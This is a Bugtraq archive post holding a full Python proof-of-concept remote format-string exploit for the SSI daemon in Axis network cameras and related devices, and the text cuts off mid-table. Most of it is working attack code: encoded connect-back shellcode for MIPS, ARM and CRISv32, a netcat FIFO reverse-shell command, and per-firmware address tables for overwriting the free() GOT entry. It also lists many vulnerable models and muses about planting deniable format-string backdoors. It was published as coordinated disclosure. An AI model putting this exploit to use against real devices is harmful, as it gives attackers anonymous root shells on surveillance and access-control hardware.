Bugtraq mailing list archives

[Remote Format String Exploit] Axis Communications MPQT/PACS Server Side Include (SSI) Daemon


From: bashis <mcw () noemail eu>
Date: Mon, 18 Jul 2016 07:24:38 +0000


#!/usr/bin/env python2.7
# 
# [SOF]
#
# [Remote Format String Exploit] Axis Communications MPQT/PACS Server Side Include (SSI) Daemon
# Research and development by bashis <mcw noemail eu> 2016
#
# This format string vulnerability has following characteristic:
# - Heap Based (Exploiting string located on the heap)
# - Blind Attack (No output the remote attacker)(*)
# - Remotly exploitable (As anonymous, no credentials needed)
#
# (*) Not so 'Blind' after all, since the needed addresses can be predicted by statistic.
#
# This exploit has following characteristic:
# - Multiple architecture exploit (MIPS/CRISv32/ARM) [From version 5.20.x]
# - Modifying LHOST/LPORT in shellcode on the fly
# - Manual exploiting of remote targets
# - Simple HTTPS support
# - Basic Authorization support (not needed for this exploit)
# - FMS dictionary and predicted addresses for GOT free() / BSS / Netcat shellcode
# - Multiple shellcodes (ARM, CRISv32, MIPS and Netcat PIPE shell)
# - Exploiting with MIPS, CRISv32 and ARM shellcode will give shell as root
# - Exploiting with ARM Netcat PIPE shell give normally shell as Anonymous (5.2x and 5.4x give shell as root)
# - Multiple FMS exploit techniques
#   - "One-Write-Where-And-What" for MIPS and CRISv32
#     Using "Old Style" POP's
#     Classic exploit using: Count to free() GOT, write shellcode address, jump to shellcode on free() call
#     Shellcode loaded in memory by sending shellcode URL encoded, that SSI daemon decodes and keeps in memory.
#   - "Two-Write-Where-And-What" for ARM
#     1) "Old Style": Writing 1x LSB and 1x MSB by using offsets for GOT free() target address
#     2) "New Style": ARM Arch's have both "Old Style" (>5.50.x) )POPs and "New Style" (<5.40.x) direct parameter 
access for POP/Write
#     [Big differnce in possibilities between "Old Style" and "New Style", pretty interesting actually]
# - Another way to POP with "Old Style", to be able POPing with low as 1 byte (One byte with %1c instead of eight with 
%8x)
# - Exploit is quite well documented
#
# Anyhow,
# Everything started from this simple remote request:
#
# ---
# $ echo -en "GET /httpDisabled.shtml?&http_user=%p|%p HTTP/1.0\n\n" | netcat 192.168.0.90 80
# HTTP/1.1 500 Server Error
# Content-Type: text/html; charset=ISO-8859-1
#
# <HTML><HEAD><TITLE>500 Server Error</TITLE></HEAD>
# <BODY><H1>500 Server Error</H1>
# The server encountered an internal error and could not complete your request.
# </BODY></HTML>
# ---
#
# Which gave this output in /var/log/messages on the remote device:
#
# ---
# <CRITICAL> Jan  1 16:05:06 axis /bin/ssid[3110]: ssid.c:635: getpwnam() failed for user: 0x961f0|0x3ac04b10
# <CRITICAL> Jan  1 16:05:06 axis /bin/ssid[3110]: ssid.c:303: Failed to get authorization data.
# ---
#
# Which resulted into an remote exploit for more than 200 unique Axis Communication MPQT/PACS products
#
# ---
# $ netcat -vvlp 31337
# listening on [any] 31337 ...
# 192.168.0.90: inverse host lookup failed: Unknown host
# connect to [192.168.0.1] from (UNKNOWN) [192.168.0.90] 55738
# id
# uid=0(root) gid=0(root) 
groups=0(root),1(bin),2(daemon),3(sys),6(disk),10(wheel),51(viewer),52(operator),53(admin),54(system),55(ptz)
# pwd
# /usr/html
# ---
#
# Some technical notes:
#
# 1.  Direct addressing with %<argument>$%n is "delayed", and comes in force only after disconnect.
#     Old metod with POP's coming into force instantly
#
# 2.  Argument "0" will be assigned (after using old POP metod and %n WRITE) the next address on stack after POP's)
#     - Would be interesting to investigate why.
#
# 3.  Normal Apache badbytes: 0x00, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x20, 0x23, 0x26
#     Goodbytes: 0x01-0x08, 0x0e-0x1f, 0x21-0x22, 0x24-0x25, 0x27-0xff
#
# 3.1 Normal Boa badbytes: 0x00-0x08, 0x0b-0x0c, 0x0e-0x19, 0x80-0xff
#     Goodbytes: 0x09, 0x0a, 0x0d, 0x20-0x7f
#
# 3.2 Apache and Boa, by using URL encoded shellcode as in this exploit:
#     Badbytes = None, Goodbytes = 0x00 - 0xff (Yay!)
#
# 4.  Everything is randomized, except heap.
#
# 5.  My initial attempts to use ROP's was not good, as I didn't want to create
#     one unique FMS key by testing each single firmware version, and using ROP with FMS
#     on heap seems pretty complicated as there is one jump availible, maximum two.
#
# 5.1 Classic GOT write for free() that will jump to shellcode, was the best technique in this case.
#    
# 6.  Encoded and Decoded shellcode located in .bss section.
# 6.1 FMS excecuted on heap
#
# 7.  Vulnerable MPQT/PACS architectures: CRISv32, MIPS and ARM
# 7.1 ARM has nonexecutable stack flag bit set (>5.20.x) by default on their binaries/libs,
#     so execute shellcode on heap/stack may be impossible.
# 7.2 ARM shellcode and exploit has been verified by setting executable stack flag bit on binaries,
#     and re-compile of the image.
# 7.3 However, ARM is easily exploitable with netcat shell, that's using the builtin '/bin/sh -c' code to execute.
#
# 8.  This exploit are pretty well documented, more details can be extracted by reading
#     the code and comments.
#
# MIPS ssid maps
# 00400000-0040d000 r-xp 00000000 00:01 2272       /bin/ssid
# 0041d000-0041e000 rw-p 0000d000 00:01 2272       /bin/ssid
# 0041e000-00445000 rwxp 00000000 00:00 0          [heap]
#
# ARM ssid maps
# 00008000-00014000 r-xp 00000000 00:01 2055        /bin/ssid
# 0001c000-0001d000 rw-p 0000c000 00:01 2055        /bin/ssid
# 0001d000-00044000 rw-p 00000000 00:00 0           [heap]
#
# Crisv32 ssid maps
# 00080000-0008c000 r-xp 00000000 1f:03 115        /bin/ssid
# 0008c000-0008e000 rw-p 0000a000 1f:03 115        /bin/ssid
# 0008e000-000b6000 rwxp 0008e000 00:00 0          [heap]
#
# General notes:
#
# When the vul daemon process is exploited, and after popping root connect-back shell,
# the main process are usally restarted by respawnd, after the shell have spawned and taken over the parent process,
# when the main process are fully alive again, I can enjoy the shell, and everybody else can
# enjoy of the camera - that should make all of us happy ;)
# During exploiting, logs says almost nothing, only that the main process restarted.
# Note: Not true with ARM Netcat PIPE shell (as the code will vfork() and wait until child exits)
#
# '&http_user=' is the vuln tag, and the FMS will be excecuted when it will try to do vsyslog(),
# after ssid cannot verify the user, free() are the closest function to be called after
# vsyslog(), needed and perfect to use for jumping.
# There is nothing shown for remote user, possible output of FMS are _only_ shown in log/console.
# So we are pretty blind, but due to fixed FMS keys, that doesn't matter for us - it's predictable by statistics.
#
# Quite surprised to see so many different devices and under one major release version,
# that's covered by one "FMS key". The "FMS key" are valid for all minor versions under the major version.
#
# This made me start thinking how brilliant and clever it would be to make an sophisticated door that's using format 
string as backdoor,  
# which generates no FMS output whatsoever to attacker and unlocked by a 'FMS key', instead of using hardcoded 
login/password.    
#
# - No hardcoded login/password that could easily be found in firmware/software files.    
# - Extremely hard to find without local access (and find out what to trigger for opening the door)
# - Nobody can not actually prove it is a sophisticated door for sure. "It's just another bug.. sorry! - here is the 
fixed version."
#   (Only to close this door, and open another door, somewhere else, in any binary - and try make it harder to find)
#
# Note:
# I don't say that Axis Communication has made this hidden format string by this purpose.
# I can only believe it was a really stupid mistake from Axis side, after I have seen one screen-dump of the CVS 
changelog of SSI Daemon,    
# and another screen-dump with the change made late 2009, from non-vulnerable to vulnerable, in the affected code of 
logerr().
#
# Vulnerable and exploitable products
#
# A1001, A8004-VE, A9188, C3003, F34, F41, F44, M1124, M1124-E, M1125, M1125-E, M1145, M1145-L, M3006,
# M3007, M3026, M3027, M3037, M7010, M7011, M7014, M7016, P1125, P1353, P1354, P1355, P1357, P1364,
# P1365, P1405, P1405-E, P1405-LE, P1425-E, P1425-LE, P1427, P1427-E, P1435, P3214, P3214-V, P3215,
# P3215-V, P3224, P3224-LVE, P3225-LV, P3353, P3354, P3363, P3364, P3364-L, P3365, P3367, P3384,
# P3707-PE, P3904, P3904-R, P3905, P3915-R, P5414-E, P5415-E, P5514, P5514-E, P5515, P5515-E, P5624,
# P5624-E, P5635-E, P7210, P7214, P7216, P7224, P8535, Q1602, Q1604, Q1614, Q1615, Q1635, Q1635-E,
# Q1765-LE, Q1765-LE-PT, Q1775, Q1931-E, Q1931-E-PT, Q1932-E, Q1932-E-PT, Q1941-E, Q2901-E, Q2901-E-PT,
# Q3504, Q3505, Q6000-E, Q6042, Q6042-C, Q6042-E, Q6042-S, Q6044, Q6044-C, Q6044-E, Q6044-S, Q6045,
# Q6045-C, Q6045-E, Q6045-S, Q6114-E, Q6115-E, Q7411, Q7424-R, Q7436, Q8414, Q8414-LVS, Q8631-E, Q8632-E,
# Q8665-E, Q8665-LE, V5914, V5915, M1054, M1103, M1104, M1113, M1114, M2014-E, M3014, M3113, M3114, M3203,
# M3204, M5013, M5014, M7001, P12/M20, P1204, P1214, P1214-E, P1224-E, P1343, P1344, P1346, P1347, P2014-E,
# P3301, P3304, P3343, P3344, P3346, P3346-E, P5512, P5512-E, P5522, P5522-E, P5532, P5532-E, P5534, P5534-E,
# P5544, P8221, P8513, P8514, P8524, Q1755, Q1910, Q1921, Q1922, Q6032, Q6032-C, Q6032-E, Q6034, Q6034-C,
# Q6034-E, Q6035, Q6035-C, Q6035-E, Q7401, Q7404, Q7406, Q7414, Q8721-E, Q8722-E, C, M1004-W, M1011, M1011-W,
# M1013, M1014, M1025, M1031-W, M1033-W, M1034-W, M1143-L, M1144-L, M3004, M3005, M3011, M3024, M3024-L,
# M3025, M3044-V, M3045-V, M3046-V, P1311, P1428-E, P7701, Q3709-PVE, Q3708-PVE, Q6128-E... and more
#
# http://origin-www.axis.com/ftp/pub_soft/MPQT/SR/service-releases.txt
#
# Firmware versions vulnerable to the SSI FMS exploit
#
# ('V.Vx' == The FMS key used in this exploit)
#
# Firmware      Introduced      CRISv32         MIPS            ARM (no exec heap from >5.20.x)
# 5.00.x        2008            -               -               no
# 5.01.x        2008            no              -               no
# 5.02.x        2008            no              -               -
# 5.05.x        2009            no              -               -
# 5.06.x        2009            no              -               -
# 5.07.x        2009            no              -               no
# 5.08.x        2010            no              -               -
# 5.09.x        2010            no              -               -
# 5.10.x        2009            no              -               -
# 5.11.x        2010            no              -               -
# 5.12.x        2010            no              -               -
# 5.15.x        2010            no              -               -
# 5.16.x        2010            no              -               -
# 5.20.x        2010-2011       5.2x            -               5.2x
# 5.21.x        2011            5.2x            -               5.2x
# 5.22.x        2011            5.2x            -               -
# 5.25.x        2011            5.2x            -               -
# 5.40.x        2011            5.4x            5.4x            5.4x
# 5.41.x        2012            5.4x            -               -
# 5.50.x        2013            5.5x            5.5x            5.4x
# 5.51.x        2013            -               5.4x            -
# 5.55.x        2013            -               5.5x            5.5x
# 5.60.x        2014            -               5.6x            5.6x
# 5.65.x        2014-2015       -               5.6x            -
# 5.70.x        2015            -               5.7x            -
# 5.75.x        2015            -               5.7x            5.7x
# 5.80.x        2015            -               5.8x            5.8x
# 5.81.x        2015            -               5.8x            -
# 5.85.x        2015            -               5.8x            5.8x
# 5.90.x        2015            -               5.9x            -
# 5.95.x        2016            -               5.9x            5.8x
# 6.10.x        2016            -               6.1x            -
# 6.15.x        2016            -               -               6.1x
# 6.20.x        2016            -               6.2x            -
#
# Vendor URL's of still supported and affected products
#
# http://www.axis.com/global/en/products/access-control
# http://www.axis.com/global/en/products/video-encoders
# http://www.axis.com/global/en/products/network-cameras
# http://www.axis.com/global/en/products/audio
#
# Axis Product Security
#
# product-security () axis com
# http://www.axis.com/global/en/support/product-security
# http://origin-www.axis.com/ftp/pub_soft/MPQT/SR/service-releases.txt
# http://www.axis.com/global/en/support/faq/FAQ116268
#
# Timetable
#
# - Research and Development: 06/01/2016 - 01/06/2016
# - Sent vulnerability details to vendor: 05/06/2016
# - Vendor responce received: 06/06/2016
# - Vendor ACK of findings received: 07/06/2016
# - Vendor sent verification image: 13/06/2016
# - Confirmed that exploit do not work after vendors correction: 13/06/2016
# - Vendor informed about their service release(s): 29/06/2016
# - Sent vendor a copy of the (this) PoC exploit: 29/06/2016
# - Full Disclosure: 18/07/2016
#
# Quote of the day: Never say "whoops! :o", always say "Ah, still interesting! :>"
#
# Have a nice day
# /bashis
#
#####################################################################################

import sys
import string
import socket
import time
import argparse
import urllib, urllib2, httplib
import base64
import ssl
import re


class do_FMS:

#       POP = "%8x"             # Old style POP's with 8 bytes per POP
        POP = "%1c"             # Old style POP's with 1 byte per POP
        WRITElln = "%lln"       # Write 8 bytes
        WRITEn = "%n"           # Write 4 bytes
        WRITEhn = "%hn"         # Write 2 bytes
        WRITEhhn = "%hhn"       # Write 1 byte

        def __init__(self,targetIP,verbose):
                self.targetIP = targetIP
                self.verbose = verbose
                self.fmscode = ""

        # Mostly used internally in this function
        def Add(self, data):
                self.fmscode += data

        # 'New Style' Double word (8 bytes)
        def AddDirectParameterLLN(self, ADDR):
                self.Add('%')
                self.Add(str(ADDR))
                self.Add('$lln')

        # 'New Style' Word (4 bytes)
        def AddDirectParameterN(self, ADDR):
                self.Add('%')
                self.Add(str(ADDR))
                self.Add('$n')

        # 'New Style' Half word (2 bytes)
        def AddDirectParameterHN(self, ADDR):
                self.Add('%')
                self.Add(str(ADDR))
                self.Add('$hn')

        # 'New Style' One Byte (1 byte)
        def AddDirectParameterHHN(self, ADDR):
                self.Add('%')
                self.Add(str(ADDR))
                self.Add('$hhn')

        # Addressing
        def AddADDR(self, ADDR):
                self.Add('%')
                self.Add(str(ADDR))
                self.Add('u')

        # 'Old Style' POP
        def AddPOP(self, size):
                if size != 0:
                        self.Add(self.POP * size)

        # Normally only one will be sent, multiple is good to quick-check for any FMS
        #
        # 'Old Style' Double word (8 bytes)
        def AddWRITElln(self, size):
                        self.Add(self.WRITElln * size)

        # 'Old Style' Word (4 bytes)
        def AddWRITEn(self, size):
                        self.Add(self.WRITEn * size)

        # 'Old Style' Half word (2 bytes)
        def AddWRITEhn(self, size):
                        self.Add(self.WRITEhn * size)

        # 'Old Style' One byte (1 byte)
        def AddWRITEhhn(self, size):
                        self.Add(self.WRITEhhn * size)

        # Return the whole FMS string
        def FMSbuild(self):
                return self.fmscode

class HTTPconnect:

        def __init__(self, host, proto, verbose, creds, noexploit):
                self.host = host
                self.proto = proto
                self.verbose = verbose
                self.credentials = creds
                self.noexploit = noexploit
        
        # Netcat remote connectback shell needs to have raw HTTP connection as we using special characters as 
'\t','$','`' etc..
        def RAW(self, uri):
                # Connect-timeout in seconds
                timeout = 5
                socket.setdefaulttimeout(timeout)
                
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
                tmp = self.host.split(':')
                HOST = tmp[0]
                PORT = int(tmp[1])
                if self.verbose:
                        print "[Verbose] Sending to:", HOST
                        print "[Verbose] Port:", PORT
                        print "[Verbose] URI:",uri
                s.connect((HOST, PORT))
                s.send("GET %s HTTP/1.0\r\n\r\n" % uri)
                html = (s.recv(4096)) # We really do not care whats coming back
#               if html:
#                       print "[i] Received:",html
                s.shutdown(3)
                s.close()
                return html


        def Send(self, uri):

                # The SSI daemon are looking for this, and opens a new FD (5), but this does'nt actually
                # matter for the functionality of this exploit, only for future references.
                headers = { 
                        'User-Agent' : 'MSIE',
                }

                # Connect-timeout in seconds
                timeout = 5
                socket.setdefaulttimeout(timeout)

                url = '%s://%s%s' % (self.proto, self.host, uri)

                if self.verbose:
                        print "[Verbose] Sending:", url

                if self.proto == 'https':
                        if hasattr(ssl, '_create_unverified_context'):
                                print "[i] Creating SSL Default Context"
                                ssl._create_default_https_context = ssl._create_unverified_context

                if self.credentials:
                        Basic_Auth = self.credentials.split(':')
                        if self.verbose:
                                print "[Verbose] User:",Basic_Auth[0],"Password:",Basic_Auth[1]
                        try:
                                pwd_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
                                pwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1])
                                auth_handler = urllib2.HTTPBasicAuthHandler(pwd_mgr)
                                opener = urllib2.build_opener(auth_handler)
                                urllib2.install_opener(opener)
                        except Exception as e:
                                print "[!] Basic Auth Error:",e
                                sys.exit(1)

                if self.noexploit and not self.verbose:
                        print "[<] 204 Not Sending!"
                        html =  "Not sending any data"
                else:
                        data = None
                        req = urllib2.Request(url, data, headers)
                        rsp = urllib2.urlopen(req)
                        if rsp:
                                print "[<] %s OK" % rsp.code
                                html = rsp.read()
                return html


class shellcode_db:

        def __init__(self,targetIP,verbose):
                self.targetIP = targetIP
                self.verbose = verbose

        def sc(self,target):
                self.target = target


# Connect back shellcode
#
# CRISv32: Written by myself, no shellcode availible out on "The Internet"
# NCSH: My PoC of netcat FIFO / PIPE reverese shell, w/o '-e' option and with $IFS as separators
# MIPSel: Written by Jacob Holcomb (url encoded by me)
# ARM: http://shell-storm.org/shellcode/files/shellcode-754.php
#
                # Slightly modified syscall's
                MIPSel = string.join([
                #close stdin
                "%ff%ff%04%28" #slti    a0,zero,-1
                "%a6%0f%02%24" #li      v0,4006
                "%4c%f7%f7%03" #syscall 0xdfdfd
                #close stdout
                "%11%11%04%28" #slti    a0,zero,4369
                "%a6%0f%02%24" #li      v0,4006
                "%4c%f7%f7%03" #syscall 0xdfdfd
                #close stderr
                "%fd%ff%0c%24" #li      t4,-3
                "%27%20%80%01" #nor     a0,t4,zero
                "%a6%0f%02%24" #li      v0,4006
                "%4c%f7%f7%03" #syscall 0xdfdfd
                # socket AF_INET (2)
                "%fd%ff%0c%24" #li      t4,-3
                "%27%20%80%01" #nor     a0,t4,zero
                "%27%28%80%01" #nor     a1,t4,zero
                "%ff%ff%06%28" #slti    a2,zero,-1
                "%57%10%02%24" #li      v0,4183
                "%4c%f7%f7%03" #syscall 0xdfdfd
                #
                "%ff%ff%44%30" # andi $a0, $v0, 0xFFFF
                #
                # dup2 stdout
                "%c9%0f%02%24" #li      v0,4041
                "%4c%f7%f7%03" #syscall 0xdfdfd
                #
                # dup2 stderr
                "%c9%0f%02%24" #li      v0,4041
                "%4c%f7%f7%03" #syscall 0xdfdfd
                #
                # Port
                "PP1PP0%05%3c"
                "%01%ff%a5%34"
                #
                "%01%01%a5%20" #addi    a1,a1,257
                "%f8%ff%a5%af" #sw      a1,-8(sp)
                #
                # IP
                "IP3IP4%05%3c"
                "IP1IP2%a5%34"
                #
                "%fc%ff%a5%af" #sw      a1,-4(sp)
                "%f8%ff%a5%23" #addi    a1,sp,-8
                "%ef%ff%0c%24" #li      t4,-17
                "%27%30%80%01" #nor     a2,t4,zero
                "%4a%10%02%24" #li      v0,4170
                "%4c%f7%f7%03" #syscall 0xdfdfd
                #
                "%62%69%08%3c" #lui     t0,0x6962
                "%2f%2f%08%35" #ori     t0,t0,0x2f2f
                "%ec%ff%a8%af" #sw      t0,-20(sp)
                "%73%68%08%3c" #lui     t0,0x6873
                "%6e%2f%08%35" #ori     t0,t0,0x2f6e
                "%f0%ff%a8%af" #sw      t0,-16(sp
                "%ff%ff%07%28" #slti    a3,zero,-1
                "%f4%ff%a7%af" #sw      a3,-12(sp)
                "%fc%ff%a7%af" #sw      a3,-4(sp
                "%ec%ff%a4%23" #addi    a0,sp,-20
                "%ec%ff%a8%23" #addi    t0,sp,-20
                "%f8%ff%a8%af" #sw      t0,-8(sp)
                "%f8%ff%a5%23" #addi    a1,sp,-8
                "%ec%ff%bd%27" #addiu   sp,sp,-20
                "%ff%ff%06%28" #slti    a2,zero,-1
                "%ab%0f%02%24" #li      v0,4011 (execve)
                "%4c%f7%f7%03" #syscall 0xdfdfd
                ], '')  

                # Working netcat shell
                # - $PATH will locate 'mkfifo', 'nc' and 'rm'
                # - LHOST / LPORT will be changed on the fly later in the code
                # - 1) make FIFO, 2) netcat back to attacker with STDIN to /bin/sh, and PIPE STDOUT back to the remote 
via FIFO, 3) remove FIFO when exiting
                # - $IFS = <space><tab><newline> [By default, and we need <space> or <tab> as separator]
                # $ echo -n "$IFS" | hexdump -C
                # 00000000  20 09 0a
                # - $PS1 = $ [By default, and we need something to "comment" out our trailing FMS code from /bin/sh -c]
                #
                # '2>/tmp/s' (STDERR > FIFO) Don't work with $IFS as separator
                #
                # Working with Apache and Boa
#               NCSH = 
"mkfifo$IFS/tmp/s;nc$IFS-w$IFS\"5\"$IFS\"LHOST\"$IFS\"LPORT\"$IFS0</tmp/s|/bin/sh>/tmp/s\"$IFS\"2>/tmp/s;rm$IFS/tmp/s;$PS1"
                NCSH = 
"mkfifo$IFS/tmp/s;nc$IFS-w$IFS\"5\"$IFS\"LHOST\"$IFS\"LPORT\"$IFS0</tmp/s|/bin/sh>/tmp/s;rm$IFS/tmp/s;$PS1"

                ARMel = string.join([
                # original: http://shell-storm.org/shellcode/files/shellcode-754.php
                # 32-bit instructions, enter thumb mode
                "%01%10%8f%e2"  # add r1, pc, #1
                "%11%ff%2f%e1"  # bx r1

                # 16-bit thumb instructions follow
                #
                # socket(2, 1, 0)
                "%02%20"        #mov     r0, #2
                "%01%21"        #mov     r1, #1
                "%92%1a"        #sub     r2, r2, r2
                "%0f%02"        #lsl     r7, r1, #8
                "%19%37"        #add     r7, r7, #25
                "%01%df"        #svc     1
                #
                # connect(r0, &addr, 16)
                "%06%1c"        #mov     r6, r0
                "%08%a1"        #add     r1, pc, #32
                "%10%22"        #mov     r2, #16
                "%02%37"        #add     r7, #2
                "%01%df"        #svc     1
                #
                # dup2(r0, 0/1/2)
                "%3f%27"        #mov     r7, #63
                "%02%21"        #mov     r1, #2
                #
                #lb:
                "%30%1c"        #mov     r0, r6
                "%01%df"        #svc     1
                "%01%39"        #sub     r1, #1
                "%fb%d5"        #bpl     lb
                #
                # execve("/bin/sh", ["/bin/sh", 0], 0)
                "%05%a0"        #add     r0, pc, #20
                "%92%1a"        #sub     r2, r2, r2
                "%05%b4"        #push    {r0, r2}
                "%69%46"        #mov     r1, sp
                "%0b%27"        #mov     r7, #11
                "%01%df"        #svc     1
                #
                "%c0%46"        # .align 2 (NOP)
                "%02%00"        # .short 0x2            (struct sockaddr)
                "PP1PP0"        # .short 0x3412         (port: 0x1234)
                "IP1IP2IP3IP4"  #.byte 192,168,57,1     (ip: 192.168.57.1)
                # .ascii "/bin/sh\0\0"
                "%2f%62%69%6e"  # /bin
                "%2f%73%68%00%00"       # /sh\x00\x00
                "%00%00%00%00"
                "%c0%46"
                ], '')  


                # Connect-back shell for Axis CRISv32
                # Written by mcw noemail eu 2016
                #
                CRISv32 = string.join([
                #close(0)
                "%7a%86"                # clear.d r10 
                "%5f%9c%06%00"          # movu.w 0x6,r9
                "%3d%e9"                # break 13
                #close(1)
                "%41%a2"                # moveq 1,r10
                "%5f%9c%06%00"          # movu.w 0x6,r9
                "%3d%e9"                # break 13
                #close(2)
                "%42%a2"                # moveq 2,r10
                "%5f%9c%06%00"          # movu.w 0x6,r9
                "%3d%e9"                # break 13
                #
                "%10%e1"                # addoq 16,sp,acr
                "%42%92"                # moveq 2,r9
                "%df%9b"                # move.w r9,[acr]
                "%10%e1"                # addoq 16,sp,acr
                "%02%f2"                # addq 2,acr
                #PORT
                "%5f%9ePP1PP0"          # move.w 0xPP1PP0,r9 #
                "%df%9b"                # move.w r9,[acr]
                "%10%e1"                # addoq 16,sp,acr
                "%6f%96"                # move.d acr,r9
                "%04%92"                # addq 4,r9
                #IP
                "%6f%feIP1IP2IP3IP4"    # move.d IP4IP3IP2IP1,acr
                "%e9%fb"                # move.d acr,[r9]
                #
                #socket()
                "%42%a2"                # moveq 2,r10
                "%41%b2"                # moveq 1,r11
                "%7c%86"                # clear.d r12
                "%6e%96"                # move.d $sp,$r9
                "%e9%af"                # move.d $r10,[$r9+]
                "%e9%bf"                # move.d $r11,[$r9+]
                "%e9%cf"                # move.d $r12,[$r9+]
                "%41%a2"                # moveq 1,$r10
                "%6e%b6"                # move.d $sp,$r11
                "%5f%9c%66%00"          # movu.w 0x66,$r9
                "%3d%e9"                # break 13
                #
                "%6a%96"                # move.d $r10,$r9
                "%0c%e1"                # addoq 12,$sp,$acr
                "%ef%9b"                # move.d $r9,[$acr]
                "%0c%e1"                # addoq 12,$sp,$acr
                "%6e%96"                # move.d $sp,$r9
                "%10%92"                # addq 16,$r9
                "%6f%aa"                # move.d [$acr],$r10
                "%69%b6"                # move.d $r9,$r11
                "%50%c2"                # moveq 16,$r12
                #
                # connect()
                "%6e%96"                # move.d $sp,$r9
                "%e9%af"                # move.d $r10,[$r9+]
                "%e9%bf"                # move.d $r11,[$r9+]
                "%e9%cf"                # move.d $r12,[$r9+]
                "%43%a2"                # moveq 3,$r10
                "%6e%b6"                # move.d $sp,$r11
                "%5f%9c%66%00"          # movu.w 0x66,$r9 
                "%3d%e9"                # break 13
                # dup(0) already in socket
                #dup(1)
                "%6f%aa"                # move.d [$acr],$r10
                "%41%b2"                # moveq 1,$r11
                "%5f%9c%3f%00"          # movu.w 0x3f,$r9
                "%3d%e9"                # break 13
                #
                #dup(2)
                "%6f%aa"                # move.d [$acr],$r10
                "%42%b2"                # moveq 2,$r11
                "%5f%9c%3f%00"          # movu.w 0x3f,$r9
                "%3d%e9"                # break 13
                #
                #execve("/bin/sh",NULL,NULL)
                "%90%e2"                # subq 16,$sp
                "%6e%96"                # move.d $sp,$r9
                "%6e%a6"                # move.d $sp,$10
                "%6f%0e%2f%2f%62%69"    # move.d 69622f2f,$r0
                "%e9%0b"                # move.d $r0,[$r9]
                "%04%92"                # addq 4,$r9
                "%6f%0e%6e%2f%73%68"    # move.d 68732f6e,$r0
                "%e9%0b"                # move.d $r0,[$r9]
                "%04%92"                # addq 4,$r9
                "%79%8a"                # clear.d [$r9]
                "%04%92"                # addq 4,$r9
                "%79%8a"                # clear.d [$r9]
                "%04%92"                # addq 4,$r9
                "%e9%ab"                # move.d $r10,[$r9]
                "%04%92"                # addq 4,$r9
                "%79%8a"                # clear.d [$r9]
                "%10%e2"                # addq 16,$sp
                "%6e%f6"                # move.d $sp,$acr
                "%6e%96"                # move.d $sp,$r9
                "%6e%b6"                # move.d $sp,$r11
                "%7c%86"                # clear.d $r12
                "%4b%92"                # moveq 11,$r9
                "%3d%e9"                # break 13
                        ], '')  


                if self.target == 'MIPSel':
                        return MIPSel
                elif self.target == 'ARMel':
                        return ARMel
                elif self.target == 'CRISv32':
                        return CRISv32
                elif self.target == 'NCSH1':
                        return NCSH
                elif self.target == 'NCSH2':
                        return NCSH
                else:
                        print "[!] Unknown shellcode! (%s)" % str(self.target)
                        sys.exit(1)


class FMSdb:

        def __init__(self,targetIP,verbose):
                self.targetIP = targetIP
                self.verbose = verbose

        def FMSkey(self,target):
                self.target = target

                target_db = {

#-----------------------------------------------------------------------
# All pointing from free() GOT to shellcode on .bss (Except ARM with NCSH)
#-----------------------------------------------------------------------

#
# Using POP format string, AKA 'Old Style'
#
                # MPQT
                'MIPS-5.85.x':   [
                                0x41f370,       # Adjust to GOT free() address
                                0x420900,       # .bss shellcode address
                                2,              # 1st POP's
                                2,              # 2nd POP's
                                'axi',          # Aligns injected code
                                700,            # How big buffer before shellcode
                                'MIPSel'        # Shellcode type
                ],

                # MPQT
                'MIPS-5.40.3': [
                                0x41e41c,       # Adjust to GOT free() address
                                0x4208cc,       # .bss shellcode address
                                7,              # 1st POP's
                                11,             # 2nd POP's
                                'ax',           # Aligns injected code
                                450,            # How big buffer before shellcode
                                'MIPSel'        # Shellcode type
                ],

                # MPQT
                'MIPS-5.4x': [  
                                0x41e4cc,       # Adjust to GOT free() address
                                0x42097c,       # .bss shellcode address
                                7,              # 1st POP's
                                11,             # 2nd POP's
                                'ax',           # Aligns injected code
                                450,            # How big buffer before shellcode
                                'MIPSel'        # Shellcode type
                ],

                # MPQT
                'MIPS-5.5x': [
                                0x41d11c,       # Adjust to GOT free() address
                                0x41f728,       # .bss shellcode address
                                5,              # 1st POP's
                                15,             # 2nd POP's
                                'axis',         # Aligns injected code
                                700,            # How big buffer before shellcode
                                'MIPSel'        # Shellcode type
                ],

                # MPQT
                'MIPS-5.55x': [ 
                                0x41d11c,       # Adjust to GOT free() address
                                0x41f728,       # .bss shellcode address
                                11,             # 1st POP's
                                9,              # 2nd POP's
                                'axis',         # Aligns injected code
                                700,            # How big buffer before shellcode
                                'MIPSel'        # Shellcode type
                ],

                # Shared with MPQT and PACS
                'MIPS-5.6x': [  
                                0x41d048,       # Adjust to GOT free() address
                                0x41f728,       # .bss shellcode address
                                5,              # 1st POP's
                                15,             # 2nd POP's
                                'axis',         # Aligns injected code
                                700,            # How big buffer before shellcode
                                'MIPSel'        # Shellcode type

                ],

                # MPQT
                'MIPS-5.7x': [  
                                0x41d04c,       # Adjust to GOT free() address
                                0x41f718,       # .bss shellcode address
                                2,              # 1st POP's
                                14,             # 2nd POP's
                                'axis',         # Aligns injected code
                                700,            # How big buffer before shellcode
                                'MIPSel'        # Shellcode type
                ],

                # MPQT
                'MIPS-5.75x': [
                                0x41c498,       # Adjust to GOT free() address
                                0x41daf0,       # .bss shellcode address
                                3,              # 1st POP's
                                13,             # 2nd POP's
                                'axi',          # Aligns injected code
                                700,            # How big buffer before shellcode
                                'MIPSel'        # Shellcode type
                ],

                # Shared with MPQT and PACS
                'MIPS-5.8x': [
                                0x41d0c0,       # Adjust to GOT free() address
                                0x41e740,       # .bss shellcode address
                                3,              # 1st POP's
                                13,             # 2nd POP's
                                'axi',          # Aligns injected code
                                700,            # How big buffer before shellcode
                                'MIPSel'        # Shellcode type
                ],

                # MPQT
                'MIPS-5.9x': [ 
                                0x41d0c0,       # Adjust to GOT free() address
                                0x41e750,       # .bss shellcode address
                                3,              # 1st POP's
                                13,             # 2nd POP's
                                'axi',          # Aligns injected code
                                700,            # How big buffer before shellcode
                                'MIPSel'        # Shellcode type
                ],

                # MPQT
                'MIPS-6.1x': [
                                0x41c480,       # Adjust to GOT free() address
                                0x41dac0,       # .bss shellcode address
                                3,              # 1st POP's
                                13,             # 2nd POP's
                                'axi',          # Aligns injected code
                                700,            # How big buffer before shellcode
                                'MIPSel'        # Shellcode type
                ],

                # MPQT
                'MIPS-6.2x': [
